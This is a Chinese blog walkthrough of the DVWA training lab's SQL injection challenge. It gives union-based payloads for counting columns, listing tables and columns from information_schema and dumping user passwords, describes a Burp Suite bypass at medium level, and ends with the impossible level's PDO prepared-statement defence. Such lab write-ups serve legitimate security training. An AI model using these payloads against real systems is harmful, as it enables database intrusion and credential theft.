dvwa靶场通关(七)

第七关:SQL Injection(sql注入)

low

我们输入 1',出现报错信息,根据报错信息可知,查询语句是单引号闭合的字符型

 接着判断字段数

1' order by 3#  报错

1' order by 2# 正常

 所以字段数就是2

利用联合查询爆出数据库名和版本 

输入

-1' union select database(),version()#

 爆出表名

-1'union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#

 爆列名

-1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

 爆数据

-1' union select user,password from users#

medium

下图可以看到中级加入了一些防御,不让用户输入,只提供选择

 用burp suite抓包,发现数据就在post表单里,而且可以随意修改参数,这就是我们的注入点

 输入1',出现报错信息,发现我们的单引号被转义了

 查看源码,用到了mysqli_real_escape_string函数对输入进行转义

 但是我们发现这是数字注入,不需要输入字符

 后面的操作同low级别

 high

输入1',报错

 输入1' and '1'='1'#,所以是字符型注入

 后面的爆数据操作同low等级

 

impossible

Impossible级别的代码采用了PDO技术,将输入与代码分隔开,这样便完全断隔了sql注入攻击

后端格式验证 + SQL预处理PDO

PDO:PHP Data Objects,配合正确的过滤和SQL语句能避免SQL注入

is_numeric     判断用户输入的是不是数字
intval              获取用户输入内容的数字,再次确认
prepare          进行SQL语句预处理
bindParam     绑定输入参数,并再次指定为整型
 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值